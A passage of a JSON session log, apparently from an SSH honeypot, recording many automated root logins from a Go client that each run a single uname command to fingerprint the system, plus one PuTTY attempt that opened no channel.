  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:52:07.690477+00:00",
  "ended_at": "2026-08-25T01:52:12.991389+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2fe4efd-3bf8-4b5a-93ad-c58bde3fe79c",
  "name": "mottled-shifting-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:51:33.297571+00:00",
  "ended_at": "2026-08-25T01:51:36.505291+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ecb724cf-7554-447c-b8d0-f4b8ba93ffe9",
  "name": "ancient-distant-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 180,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:50:55.401444+00:00",
  "ended_at": "2026-08-25T01:50:59.126351+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0ed1666-04fa-459f-a716-99f77acad748",
  "name": "polar-rustic-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 53520,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:50:21.498323+00:00",
  "ended_at": "2026-08-25T01:50:26.818104+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d754d8da-c81a-4f46-9237-1ca8e0be53e5",
  "name": "hazy-feral-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 58010,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:48:44.905842+00:00",
  "ended_at": "2026-08-25T01:48:47.703409+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed6484ab-9656-448e-bf71-8320c70b5868",
  "name": "earnest-muted-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 58002,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:48:32.301606+00:00",
  "ended_at": "2026-08-25T01:48:35.812867+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "717301de-c3ef-4052-b6e2-cd52196ec60e",
  "name": "lunar-lucid-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 36624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:48:06.902258+00:00",
  "ended_at": "2026-08-25T01:48:09.708317+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c85e4f6d-d87f-4f9c-9039-354303369f6f",
  "name": "verdant-gallant-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 36610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:47:56.001393+00:00",
  "ended_at": "2026-08-25T01:47:59.798002+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed27149c-82f4-4b72-a511-6c3133e70d10",
  "name": "obsidian-russet-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:47:49.910666+00:00",
  "ended_at": "2026-08-25T01:47:54.811334+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "987d3637-1208-4d4b-a04d-c5135c92c4c9",
  "name": "northern-lanky-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 270,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:47:29.232771+00:00",
  "ended_at": "2026-08-25T01:47:32.442308+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dc39eb10-d0d5-45f5-a8d1-a51bf7a6d8bb",
  "name": "sterling-deft-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:47:17.615758+00:00",
  "ended_at": "2026-08-25T01:47:21.400768+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e8a205cb-5d84-4016-a56b-8dbe898c2399",
  "name": "bold-lanky-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 33712,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:46:39.592388+00:00",
  "ended_at": "2026-08-25T01:46:44.416347+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f16c192-b06a-482c-9b18-a82d202316ce",
  "name": "gleaming-northern-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:45:49.909692+00:00",
  "ended_at": "2026-08-25T01:45:53.219844+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "03e27321-d3d4-48c7-ac61-35c5c3420c7d",
  "name": "languid-nautical-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39084,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:45:47.291886+00:00",
  "ended_at": "2026-08-25T01:45:53.288623+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0d65379-db39-46ec-acde-b0cbbd9736dd",
  "name": "pewter-hushed-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44182,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:44:20.835967+00:00",
  "ended_at": "2026-08-25T01:44:25.318058+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "26c1f3e0-bfbb-45c7-8774-07a6c65f64ea",
  "name": "dutiful-thorny-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 43770,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:44:11.307341+00:00",
  "ended_at": "2026-08-25T01:44:14.017711+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5a5caa38-8e61-46b4-be67-bc797b9a12c4",
  "name": "nameless-dewy-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:43:47.497568+00:00",
  "ended_at": "2026-08-25T01:43:53.494782+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c6541b6f-16c5-492d-abb2-d17c03655899",
  "name": "rapid-solemn-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:43:32.720316+00:00",
  "ended_at": "2026-08-25T01:43:38.604731+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0ce32f19-7143-49b5-8c0f-588edffd4d81",
  "name": "tranquil-boreal-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 37062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:43:24.507040+00:00",
  "ended_at": "2026-08-25T01:43:30.534489+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9c89bb2b-0aa1-42d7-9171-7e2cc8dfaaf9",
  "name": "brave-deft-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 41504,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:42:56.398079+00:00",
  "ended_at": "2026-08-25T01:43:00.328683+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18237aa9-8ae6-4985-b96d-22c813a16b5d",
  "name": "grumpy-mighty-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54332,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:42:04.811941+00:00",
  "ended_at": "2026-08-25T01:42:08.293036+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7e18a453-4b2a-46ff-a734-5ac4bedb511c",
  "name": "obsidian-granite-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 60770,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:41:27.506919+00:00",
  "ended_at": "2026-08-25T01:41:32.905757+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "53e2dfde-fbe0-4673-92dd-128845f9e35f",
  "name": "freckled-calm-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 23912,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T01:41:23.053554+00:00",
  "ended_at": "2026-08-25T01:41:26.339947+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be5597ab-fd1d-4fc5-9ebe-34e93767086e",
  "name": "mossy-rugged-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 35546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:41:05.099828+00:00",
  "ended_at": "2026-08-25T01:41:10.208235+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c2bd5a9c-9061-4118-8ec6-cadc2dffc431",
  "name": "rugged-seaward-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:40:22.313928+00:00",
  "ended_at": "2026-08-25T01:40:27.097625+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6b74325d-9713-4972-a09f-057e16375216",
  "name": "murky-nimble-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 55678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:39:09.418718+00:00",
  "ended_at": "2026-08-25T01:39:13.110053+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a49b7d5a-7e96-4c94-9874-22ba55a10a02",
  "name": "amiable-ivory-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 37788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:38:23.498002+00:00",
  "ended_at": "2026-08-25T01:38:28.706375+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0876241-ce73-4d0c-bf68-d33304e20477",
  "name": "shaded-early-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42234,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:38:09.606005+00:00",
  "ended_at": "2026-08-25T01:38:15.315722+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "69fd1847-35a6-4a8f-9dc7-f05323bfe8a6",
  "name": "kindly-shaded-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 41474,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:37:59.026937+00:00",
  "ended_at": "2026-08-25T01:38:02.117722+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d269a8bb-2070-4986-81f7-cf370a0a7863",
  "name": "reedy-mossy-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 48772,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:37:04.397907+00:00",
  "ended_at": "2026-08-25T01:37:09.439082+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8632b709-ae6e-495e-89f2-4a65475fa48e",
  "name": "blazing-sullen-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 48756,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:36:57.107662+00:00",
  "ended_at": "2026-08-25T01:37:00.524352+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dc4819ee-f421-4f74-bb46-9f61fa770831",
  "name": "humble-mossy-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:36:22.293134+00:00",
  "ended_at": "2026-08-25T01:36:25.794965+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b1ea6377-7461-461c-a532-63d23c034335",
  "name": "nameless-noble-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50126,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:35:35.406505+00:00",
  "ended_at": "2026-08-25T01:35:41.119943+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0fd43bd9-ffc6-4417-8c59-83d6c10350f0",
  "name": "whispering-sturdy-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42250,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:35:22.304226+00:00",
  "ended_at": "2026-08-25T01:35:26.526246+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd250c51-0820-49e0-b6e2-d5ffae321906",
  "name": "rapid-northern-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:34:03.260059+00:00",
  "ended_at": "2026-08-25T01:34:07.127676+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "237e273b-281f-4f45-b9f2-d5d0a0ce731d",
  "name": "misty-buoyant-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:33:51.299197+00:00",
  "ended_at": "2026-08-25T01:33:54.000885+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a47529d5-7fb5-47f3-b0d6-8cee7bb13543",
  "name": "indigo-fabled-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:33:32.211097+00:00",
  "ended_at": "2026-08-25T01:33:35.304516+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f78344de-7adb-41e4-ad44-06348e3cb41b",
  "name": "civil-humble-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:33:22.305340+00:00",
  "ended_at": "2026-08-25T01:33:26.808106+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8f97483c-93b1-4f69-a2de-78b81b943615",
  "name": "grumpy-snowy-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:33:09.122346+00:00",
  "ended_at": "2026-08-25T01:33:12.435000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0982725-b7fa-4fc4-b100-92f2c9c15fe1",
  "name": "downy-lanky-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:32:59.699606+00:00",
  "ended_at": "2026-08-25T01:33:04.910190+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "238ede7a-9f6d-4fbe-84f9-900fa9f79afa",
  "name": "coastal-prickly-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:32:02.007701+00:00",
  "ended_at": "2026-08-25T01:32:06.620492+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "08029021-46db-47c7-8778-d2e50067140a",
  "name": "jovial-bitter-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:31:44.299065+00:00",
  "ended_at": "2026-08-25T01:31:48.294540+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "12df1fe9-d52a-4572-a3f1-77ee23ecffa7",
  "name": "lucid-tangled-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:31:13.908502+00:00",
  "ended_at": "2026-08-25T01:31:18.106338+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d7e15fa2-7598-420c-b1fd-475c2f19eecf",
  "name": "weathered-smooth-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:30:45.099393+00:00",
  "ended_at": "2026-08-25T01:30:49.132176+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1eb99ccc-f663-4aff-abc2-c35964013b30",
  "name": "watchful-tangled-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56474,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:30:04.787503+00:00",
  "ended_at": "2026-08-25T01:30:10.400147+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1e2855ce-3e02-47a8-9384-6fd04979291a",
  "name": "rambling-grassy-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:30:02.916944+00:00",
  "ended_at": "2026-08-25T01:30:06.211788+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9552104a-32b8-4f17-9602-b8569fc84ef4",
  "name": "mossy-golden-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50270,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:29:15.814156+00:00",
  "ended_at": "2026-08-25T01:29:21.518671+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f61ae81-59ea-4d90-be39-7e9819a712ac",
  "name": "painted-leafy-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:29:01.301616+00:00",
  "ended_at": "2026-08-25T01:29:03.988021+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3a719ea-a51f-4ee1-92a7-b5fcb2f104cb",
  "name": "verdant-tangled-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:28:49.914105+00:00",
  "ended_at": "2026-08-25T01:28:55.712330+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "45f9023c-cf30-4858-81a8-2353fd8cb1cb",
  "name": "cobalt-watchful-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 34888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:28:13.622479+00:00",
  "ended_at": "2026-08-25T01:28:18.306676+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f7cd8ec3-26cf-4440-b390-195cdd40318e",
  "name": "golden-gritty-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 47616,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
